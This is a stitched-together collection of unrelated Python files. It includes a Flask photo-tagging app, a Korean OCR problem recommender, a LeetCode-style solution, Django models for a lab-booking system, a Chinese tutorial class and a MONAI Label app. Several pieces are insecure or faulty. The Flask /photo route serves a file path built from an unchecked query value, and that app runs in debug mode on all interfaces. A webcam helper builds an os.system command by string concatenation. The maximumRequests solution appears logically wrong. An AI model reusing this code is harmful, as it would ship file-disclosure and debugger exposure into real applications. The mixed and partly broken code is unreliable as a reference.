@app.route('/problems')
def problems():
    return render_template(
        'problems.html',
        title='Разрешение конфликтов',
        cache=cache,
    )

@app.route('/problems_resolve', methods=['POST'])
def problems_resolve():
    f = request.form.to_dict(flat=False)
    cache.resolve_problems(f)
    return render_template(
        'problems_resolve.html',
        title='Разрешение конфликтов',
        cache=cache,
        form=f,
    )

@app.route('/dups')
def dups():
    cache.find_dups()
    return render_template('dups.html', title='Поиск дубликатов', cache=cache.memory, len=cache.len())

@app.route('/md5_check')
def md5_check():
    cache.md5_check()
    return render_template('md5_check.html', title='Контрольная сумма', cache=cache.memory, len=cache.len())

@app.route('/favicon.ico')
def favicon():
    return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.ico',
                               mimetype='image/vnd.microsoft.icon')

@app.route('/photo')
def photo():
    photo_id = request.args.get('photo_id')
    path = f"{cfg.DATA_FILE}, {photo_id}"
    print(path)
    return send_file(path)

@app.route('/view')
def view():
    folder = request.args.get('folder')
    photo_id = request.args.get('photo_id')
    if not (folder and photo_id):
        folder = "to_view"
        if folder in cache.memory:
            if cache.memory[folder]:
                photo_id = cache.memory[folder][0]
            else:
                abort(404, "Нет фотографий для просмотра")
        else:
            abort(404, "Нет фотографий для просмотра")
        return redirect(url_for('view', photo_id=photo_id, folder=folder))

    return render_template('view.html', title='Просмотр фото', photo=photo_id,
                           folder=folder, cache=cache.memory, len=cache.len())

@app.route('/apply', methods=['POST'])
def apply():
    photo = request.form["photo_id"]
    l = [key for key in request.form if key != 'photo_id']
    cache.active_tags = l
    if l:
        if 'new' in cache.memory:
            if photo in cache.memory['new']:
                cache.memory['old'][photo] = cache.memory['new'][photo]
        cache.memory['old'][photo]['tags'] = l
        if 'tags' not in cache.memory:
            cache.memory['tags'] = {key: 1 for key in l}
        else:
            for tag in l:
                if tag in cache.memory['tags']:
                    cache.memory['tags'][tag] += 1
                else:
                    cache.memory['tags'][tag] = 1
        cache.dump()
        if 'to_view' in cache.memory:
            if photo in cache.memory['to_view']:
                cache.memory['to_view'].remove(photo)
        if 'new' in cache.memory:
            if photo in cache.memory['new']:
                del cache.memory['new'][photo]
    return redirect(url_for('view'))

@app.route('/search', methods=['POST', 'GET'])
def search():
    if request.method == 'POST':
        cache.search = {}
        l = [key for key in request.form]
        for ph in cache.old:
            if search_tags(l, cache.old[ph]):
                if not ph in cache.to_delete:
                    cache.search[ph] = cache.old[ph]
    return render_template('search.html', title='Найденные фото', cache=cache.memory, len=cache.len())

@app.route('/tags')
def tags():
    return render_template('tags.html', title='Тэги', cache=cache.memory, len=cache.len())

@app.route('/export')
def export():
    memory_file = io.BytesIO()
    zf = zipfile.ZipFile(memory_file, 'w')
    for file in cache.search:
        print(file)
        zf.write(file, arcname=file[file.rfind("\\") + 1:])
    print(zf.filelist)
    zf.close()
    memory_file.seek(0)
    return send_file(io.BytesIO(memory_file.read()), attachment_filename=str(datetime.datetime.now()) + ".zip",
                     as_attachment=True)

@app.route('/arch')
def arch():
    return send_file("D:\\Share\\Сканер.zip", as_attachment=True)

app.run(debug=True, host="0.0.0.0")


from tkinter import *
from tkinter import filedialog
from tkinter import messagebox
from PIL import ImageTk, Image
import pytesseract
from orangecontrib.text.vectorization.sbert import SBERT
from orangecontrib.text import Corpus
from Orange.util import dummy_callback
import pickle, cv2, os, random

pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
model = pickle.load(open('model.pkcls', 'rb'))
sbert = SBERT()
corpus = Corpus.from_file("test.csv")

status_code = 0 # program status
'''
0 => no state
1 => Camera running
2 => Camera saving and OCR
3 => reading and OCR of file image
4 => Entering text
5 => Fixing image OCR
6 => predicting model
7 => Recommend problem
'''

predict_code = {
    '1.0': '1-1 part',
    '2.0': '1-2 part',
    '3.0': '1-3 part',
    '4.0': '2-1 part',
    '5.0': '2-2 part',
    '6.0': '3-1 part',
    '7.0': '3-2 part'
}

path = 'img_data/'
dir_list = os.listdir(path)

recommand_data = {i: os.listdir(path+i) for i in dir_list}

cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)

def predict(text):
    # The test.csv file must contain at least 3 to be able to predict.
     # => sbert encoding by putting 3 in advance and adding them to the list.
    data = sbert(texts=corpus.documents + [text], callback=dummy_callback)
    return model(data[-1]) + 1

class App():
    def __init__(self):
        self.root = Tk()
        self.root.title('물리 문제 추천')
        self.root.geometry('400x500+100+100')
        self.root.resizable(False, False)
        self.explain_text = '''설명서'''
        explain_label = Label(self.root, text=self.explain_text, width=100, height=50, bitmap='info', relief='solid', compound='top')
        explain_label.pack()
        self.camera_button_text = '카메라 켜기'
        self.camera_status_button = Button(self.root, width=20, text=self.camera_button_text, overrelief='solid', command=self.camera_button_def)
        self.camera_status_button.pack()
        self.image_button = Button(self.root, width=20, text='이미지 업로드', overrelief='solid', command=self.image_button_def)
        self.image_button.pack()
        self.self_button = Button(self.root, width=20, text='문제 텍스트 직접 입력', overrelief='solid', command=self.self_button_def)
        self.self_button.pack()
        self.root.mainloop()

    def camera_button_def(self):
        global status_code
        print('camera_button_def', status_code)
        if status_code == 1: # 카메라 OFF 이벤트
            status_code = 0
            self.camera_status_button['text'] = '카메라 켜기'
        elif status_code == 0: # 카메라 ON 이벤트
            status_code = 1
            self.camera_status_button['text'] = '카메라 끄기'
            self.camera_root_def()
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def image_button_def(self):
        global status_code
        print('image_button_def',status_code)
        if status_code == 0:
            status_code = 3
            f_types = [('Image Files', '*.jpg, *.png')]
            filename = filedialog.askopenfilename(filetypes=f_types)
            if filename == '':
                status_code = 0
                messagebox.showerror(title='error', message='파일을 선택하지 않았습니다. 처음으로 돌아갑니다.')
            else:
                text = pytesseract.image_to_string(Image.open(filename), lang="kor+eng")
                status_code = 5
                print(text)
                self.edit_text(text)
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def self_button_def(self):
        global status_code
        print('self_button_def', status_code)
        if status_code == 0:
            status_code = 4
            self.edit_text()
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def camera_root_def(self):
        global status_code
        print('camera_root_def', status_code)
        if status_code == 1:
            self.camera_root = Toplevel(self.root)
            self.camera_root.title('문제 찍기')
            self.camera_root.grid()
            self.camera_label = Label(self.camera_root, text='인식하고자 하는 문제를 찍어주세요', relief='solid', compound='top')
            self.camera_label.grid()
            self.image = Label(self.camera_root)
            self.image.grid()
            self.camera_status_button = Button(self.camera_root, text='사진찍기', overrelief='solid', command=self.save)
            self.camera_status_button.grid()

            self.camera_root.protocol("WM_DELETE_WINDOW", lambda: self.on_exit(self.camera_root))

            self.video_stream()
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def video_stream(self):
        global status_code
        if status_code == 0:
            self.camera_root.destroy()
            self.camera_root.update()
            self.camera_status_button['text'] = '카메라 켜기'
        elif status_code == 1:
            _, frame = cap.read()
            cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)
            img = Image.fromarray(cv2image)
            imgtk = ImageTk.PhotoImage(image=img)
            self.image.imgtk = imgtk
            self.image.configure(image=imgtk)
            self.image.after(1, self.video_stream)
        elif status_code == 2:
            _, frame = cap.read()
            cv2.imwrite("filename.jpg", frame)
            text = pytesseract.image_to_string(Image.open("filename.jpg"), lang="kor+eng")
            print(text)
            self.camera_root.destroy()
            self.camera_root.update()
            self.camera_status_button['text'] = '카메라 켜기'
            status_code = 5
            self.edit_text(text)
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def save(self):
        global status_code
        print('save', status_code)
        status_code = 2

    def edit_text(self, text: str = None):
        global status_code
        print('edit_text', status_code)
        if status_code == 5 or status_code == 4:
            self.text_root = Toplevel(self.root)
            self.text_root.title('텍스트 수정')
            self.text_root.grid()
            self.input_text = Text(self.text_root, width=70)
            if status_code == 5:
                if text is None or text.strip() == '':
                    messagebox.showerror(title='error', message='텍스트를 인식하지 못했습니다.\n처음으로 돌아갑니다.')
                    status_code = 0
                    self.text_root.destroy()
                    self.text_root.update()
                    return ''
                self.input_text.insert(END, text.strip().replace('\n', ' '))
                self.camera_label = Label(self.text_root, text='이미지 인식 중 오류가 있을 수 있습니다.\n정확도를 높이기 위해 이상한 문장 등을 수정해주세요.\n또한, 문제만 남기고 나머지(보기, 선다형, 문제 번호 등)는 지워주세요. 감사합니다.', relief='solid', compound='top')
                self.text_button = Button(self.text_root, text='수정 완료', overrelief='solid', command=self.predict_gui)
            else:
                self.camera_label = Label(self.text_root, text='문제의 텍스트를 입력해주세요.', relief='solid', compound='top')
                self.text_button = Button(self.text_root, text='입력 완료', overrelief='solid', command=self.predict_gui)
            self.camera_label.grid()
            self.input_text.grid()
            self.text_button.grid()
            self.input_text.focus()
            self.text_root.protocol("WM_DELETE_WINDOW", lambda: self.on_exit(self.text_root))
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def predict_gui(self):
        global status_code
        print('predict_gui', status_code)
        if status_code == 5 or status_code == 4:
            status_code = 6
            text = self.input_text.get("1.0",END)
            self.text_root.destroy()
            self.text_root.update()
            result = predict(text)
            print(predict_code[str(result)])
            messagebox.showinfo(title='Predict Success', message=predict_code[str(result)])
            status_code = 7
            self.recommand(str(result))
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def recommand(self, value: str):
        global status_code
        print('recommand', status_code)
        if status_code == 7:
            self.recommand_list = []
            self.recommand_label_list = []
            random_value = random.sample(recommand_data[value], 5)
            for i in random_value:
                print(f'{path}{value}/{i}')
                self.recommand_list.append(Toplevel(self.root))
                self.recommand_list[-1].title(f'{predict_code[value]} - {i}')
                self.recommand_list[-1].grid()
                self.recommand_label_list.append(Label(self.recommand_list[-1]))
                image = ImageTk.PhotoImage(Image.open(f'{path}{value}/{i}'))
                self.recommand_label_list[-1].imgtk = image
                self.recommand_label_list[-1].configure(image=image)
                self.recommand_label_list[-1].grid()
            status_code = 0
        else:
            messagebox.showwarning(title='Warning', message='다른 작업을 마치고 시도해주세요')

    def on_exit(self, root_content):
        global status_code
        print('on_exit', status_code)
        root_content.destroy()
        root_content.update()
        status_code = 0

cv2.destroyAllWindows()

app = App()


class Solution:
    def maximumRequests(self, n: int, requests):
        buildnumber = [0] * n
        for i in requests:
            buildnumber[i[0]] -= 1
            buildnumber[i[1]] += 1
        unbuildnumber = []
        for i in range(n):
            if buildnumber[i] != 0:
                unbuildnumber.append(i)
        number = 0
        for i in requests:
            for j in unbuildnumber:
                if j in i:
                    number += 1
                    break
        return abs(len(requests) - number)

if __name__=='__main__':
    a = Solution()
    b = a.maximumRequests(3, [[1,2],[1,2],[2,2],[0,2],[2,1],[1,1],[1,2]])
    print(b)


from django.template import loader
from django.shortcuts import redirect

class TemplateLoader():

	def loadTemplate(self, template):
	    try:
	        templateToRender = loader.get_template(template)

	    except TemplateDoesNotExist:

	        print("sorry template was not found... ")

	        if template == "home_page.html":
	            return redirect("accounts/login")

	        return redirect("http://127.0.0.1:8000")

	    return templateToRender


# 需求：小猫爱吃鱼，小猫要喝水
# 在方法内部输出每个猫的名字

class Cat(object):
    """猫类"""

    def __init__(self, name, age, food):
        self.name = name
        self.age = age
        self.food = food
    def eat(self):
        """吃鱼方法"""
        print(f'{self.name}爱吃{self.food},今年{self.age}岁了')

    def drink(self):
        """喝水方法"""
        print(f'{self.name}爱喝{self.food},今年{self.age}岁了')

# 创建猫对象
# 创建对象语法：类名()
Tom = Cat('汤姆', 3, "小鱼干")
m = Cat('咪咪', 2, '火腿肠')
# 给猫增加一个名字属性并赋值，对象.属性名 = 属性值
# Python中不推荐在类定义外部给对象添加属性
# Tom.name = '汤姆'
# 调用方法
Tom.eat()
# Tom.drink()
m.eat()

# 在创建一个猫对象
lazy_cat = Cat('懒猫', 8, '牛奶')  # 对象2
# lazy_cat.name = '懒猫'
# lazy_cat.eat()
lazy_cat.drink()

# 注意：
# 1.再类外部，通过 对象.属性名 或对象.方法名，访问对象的属性和方法
# 2. 在类定义内部, 通过 self.属性名 或 self.方法名 访问对象的属性和方法


import random, datetime, os
from datetime import datetime, timedelta

from django.db import models
from django.utils import timezone
from django.contrib.auth.models import ContentType
from django.contrib.auth.models import User, Group, Permission

from sbhs_server import settings
# from django.conf import settings

MOD_GROUP_NAME = 'moderator'

def create_group(group_name, app_label):
    try:
        group = Group.objects.get(name=group_name)
    except Group.DoesNotExist:
        group = Group(name=group_name)
        group.save()
        # Get the models for the given app
        content_types = ContentType.objects.filter(app_label=app_label)
        permission_list = Permission.objects.filter(
            content_type__in=content_types
        )
        group.permissions.add(*permission_list)
        group.save()
    return group

class Board(models.Model):
    """ SBHS Board attributes"""

    mid = models.IntegerField(unique=True)
    online = models.BooleanField(default=False)
    usb_id = models.IntegerField(default="0")
    raspi_path = models.URLField(max_length=200, default="localhost:8000")

    def save_board_details(self, raspi_ip, device):
            board = Board.objects.filter(mid=device["sbhs_mac_id"])
            if board.exists():
                board = board.first()
            else:
                board = self
                board.mid = device["sbhs_mac_id"]
            board.raspi_path = raspi_ip
            board.usb_id = int(device["usb_id"])
            board.online = True
            board.save()

    def switch_off_inactive_boards(self, online_mids):
        all_boards = Board.objects.all()
        for board in all_boards:
            if board.mid not in online_mids:
                board.online = False
            elif board.mid in online_mids:
                board.online = True
            board.save()

    class Meta:
        ordering = ['mid',]

    def __str__(self):
        return 'MID: {0} Online: {1}: User Count: {2}'.format(
                                    self.mid,
                                    self.online,
                                    self.userboard_set.all().count()
                                    )

    def image_link(self):
        """
        Function to show the image obtained from webcam
        """
        return settings.WEBCAM_STATIC_DIR + "image" + '0' + str(self.mid) \
                + ".jpeg"

class Profile(models.Model):
    """
    Profile model to store user details.
    """
    user = models.OneToOneField(User)
    roll_number = models.CharField(max_length=20)
    institute = models.CharField(max_length=128)
    department = models.CharField(max_length=64)
    position = models.CharField(max_length=64)
    is_moderator = models.BooleanField(default=False)
    is_email_verified = models.BooleanField(default=False)
    activation_key = models.CharField(max_length=255,blank=True,null=True)
    key_expiry_time = models.DateTimeField(blank=True,null=True)

    def _toggle_moderator_group(self, group_name):
        group = Group.objects.get(name=group_name)
        if self.is_moderator:
            self.user.groups.add(group)
        else:
            self.user.groups.remove(group)

    def save(self, *args, **kwargs):
        if self.pk is not None:
            old_profile = Profile.objects.get(pk=self.pk)
            if old_profile.is_moderator != self.is_moderator:
                self._toggle_moderator_group(group_name=MOD_GROUP_NAME)
        super(Profile, self).save(*args, **kwargs)

    def __str__(self):
        return '%s' % (self.user)

class SlotManager(models.Manager):

    def get_user_slots(self, user):
        now = timezone.now()
        slots = self.filter(user=user, start_time__lte=now, end_time__gt=now)
        return slots

    def get_all_active_slots(self):
        now = timezone.now()
        slots = self.filter(start_time__lte=now, end_time__gt=now)
        return slots

    def check_booked_slots(self, start_time, users):
        return self.filter(start_time__lte=start_time,
                           end_time__gt = start_time,
                           user__in=users
                           ).count() == 0
    def get_active_slot_for_board(self, mid):
        now = timezone.now()
        users = [userboard.user.id for userboard in
                 UserBoard.objects.filter(board__mid=mid)
                 ]
        slots = self.filter(user__in=users, start_time__lte=now,
                            end_time__gt=now)
        return slots

    def board_all_booked_slots(self,mid):
        now = timezone.now()
        users = [userboard.user.id for userboard in UserBoard.objects.filter(
                 board__mid=mid)
                ]
        slots = self.filter(user__in=users,start_time__gte=now)
        return slots

class Slot(models.Model):
    user = models.ForeignKey(User)
    start_time = models.DateTimeField("Start time of a slot",
                                      default=timezone.now())
    end_time = models.DateTimeField("End time of a slot",
                default=timezone.now()+timedelta(
                    minutes=settings.SLOT_DURATION))

    objects = SlotManager()

    def __str__(self):
        return '{} {}'.format(self.start_time, self.end_time)

class Experiment(models.Model):
    slot = models.ForeignKey("Slot")
    log = models.CharField(max_length=255)
    checksum = models.CharField(max_length=255, null=True, blank=True)

    def __str__(self):
        return '{0}: {1}'.format(self.slot.user, self.slot)

class UserBoard(models.Model):
    user = models.ForeignKey(User)
    board = models.ForeignKey(Board)

    def get_all_users_for_board(self):
        now = timezone.now()
        users = UserBoard.objects.filter(board=self.board)
        return users

    def __str__(self):
        return '{0}: {1}'.format(self.user.username, self.board.mid)

class Webcam(object):

    @staticmethod
    def load_image(mid):
        command = "timeout 2s streamer -q -f jpeg -c /dev/video" + '0'+str(mid)
        command += " -o " + settings.WEBCAM_DIR + "image" + '0'+str(mid) \
                    + ".jpeg"
        os.system(command)


import logging
import os
from typing import Dict

from monai.transforms import Invertd, SaveImaged

import monailabel
from monailabel.interfaces.app import MONAILabelApp
from monailabel.interfaces.tasks.infer_v2 import InferTask
from monailabel.interfaces.tasks.scoring import ScoringMethod
from monailabel.interfaces.tasks.strategy import Strategy
from monailabel.interfaces.tasks.train import TrainTask
from monailabel.tasks.activelearning.first import First
from monailabel.tasks.activelearning.random import Random
from monailabel.tasks.infer.bundle import BundleInferTask
from monailabel.tasks.scoring.epistemic_v2 import EpistemicScoring
from monailabel.tasks.train.bundle import BundleTrainTask
from monailabel.utils.others.generic import get_bundle_models, strtobool

logger = logging.getLogger(__name__)

class MyApp(MONAILabelApp):
    def __init__(self, app_dir, studies, conf):
        self.models = get_bundle_models(app_dir, conf)
        # Add Epistemic model for scoring
        self.epistemic_models = (
            get_bundle_models(app_dir, conf, conf_key="epistemic_model") if conf.get("epistemic_model") else None
        )
        if self.epistemic_models:
            # Get epistemic parameters
            self.epistemic_max_samples = int(conf.get("epistemic_max_samples", "0"))
            self.epistemic_simulation_size = int(conf.get("epistemic_simulation_size", "5"))
            self.epistemic_dropout = float(conf.get("epistemic_dropout", "0.2"))

        super().__init__(
            app_dir=app_dir,
            studies=studies,
            conf=conf,
            name=f"MONAILabel - Zoo/Bundle ({monailabel.__version__})",
            description="DeepLearning models provided via MONAI Zoo/Bundle",
            version=monailabel.__version__,
        )

    def init_infers(self) -> Dict[str, InferTask]:
        infers: Dict[str, InferTask] = {}
        #################################################
        # Models
        #################################################
        for n, b in self.models.items():
            i = BundleInferTask(b, self.conf)
            logger.info(f"+++ Adding Inferer:: {n} => {i}")
            infers[n] = i
        return infers

    def init_trainers(self) -> Dict[str, TrainTask]:
        trainers: Dict[str, TrainTask] = {}
        if strtobool(self.conf.get("skip_trainers", "false")):
            return trainers

        for n, b in self.models.items():
            t = BundleTrainTask(b, self.conf)
            if not t or not t.is_valid():
                continue

            logger.info(f"+++ Adding Trainer:: {n} => {t}")
            trainers[n] = t
        return trainers

    def init_strategies(self) -> Dict[str, Strategy]:
        strategies: Dict[str, Strategy] = {
            "random": Random(),
            "first": First(),
        }

        logger.info(f"Active Learning Strategies:: {list(strategies.keys())}")
        return strategies

    def init_scoring_methods(self) -> Dict[str, ScoringMethod]:
        methods: Dict[str, ScoringMethod] = {}
        if not self.conf.get("epistemic_model"):
            return methods

        for n, b in self.epistemic_models.items():
            # Create BundleInferTask task with dropout instantiation for scoring inference
            i = BundleInferTask(
                b,
                self.conf,
                train_mode=True,
                skip_writer=True,
                dropout=self.epistemic_dropout,
                post_filter=[SaveImaged, Invertd],
            )
            methods[n] = EpistemicScoring(
                i, max_samples=self.epistemic_max_samples, simulation_size=self.epistemic_simulation_size
            )
            if not methods:
                continue
            methods = methods if isinstance(methods, dict) else {n: methods[n]}
            logger.info(f"+++ Adding Scoring Method:: {n} => {b}")

        logger.info(f"Active Learning Scoring Methods:: {list(methods.keys())}")
        return methods

"""
Example to run train/infer/scoring task(s) locally without actually running MONAI Label Server
"""

def main():
    import argparse
    from pathlib import Path

    from monailabel.config import settings

    settings.MONAI_LABEL_DATASTORE_AUTO_RELOAD = False
    settings.MONAI_LABEL_DATASTORE_FILE_EXT = ["*.png", "*.jpg", "*.jpeg", ".nii", ".nii.gz"]
    os.putenv("MASTER_ADDR", "127.0.0.1")
    os.putenv("MASTER_PORT", "1234")

    logging.basicConfig(
        level=logging.INFO,
        format="[%(asctime)s] [%(process)s] [%(threadName)s] [%(levelname)s] (%(name)s:%(lineno)d) - %(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        force=True,
    )

    home = str(Path.home())
    studies = f"{home}/Datasets/Radiology"

    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--studies", default=studies)
    args = parser.parse_args()

    app_dir = os.path.dirname(__file__)
    studies = args.studies

    app = MyApp(app_dir, studies, {"preload": "true", "models": "spleen_ct_segmentation_v0.1.0"})
    train(app)

def infer(app):
    import json
    import shutil

    res = app.infer(
        request={
            "model": "spleen_ct_segmentation_v0.1.0",
            "image": "image",
        }
    )

    print(json.dumps(res, indent=2))
    shutil.move(res["label"], os.path.join(app.studies, "test"))
    logger.info("All Done!")

def train(app):
    app.train(
        request={
            "model": "spleen_ct_segmentation_v0.1.0",
            "max_epochs": 2,
            "multi_gpu": False,
            "val_split": 0.1,
            "val_interval": 1,
        },
    )

if __name__ == "__main__":
    main()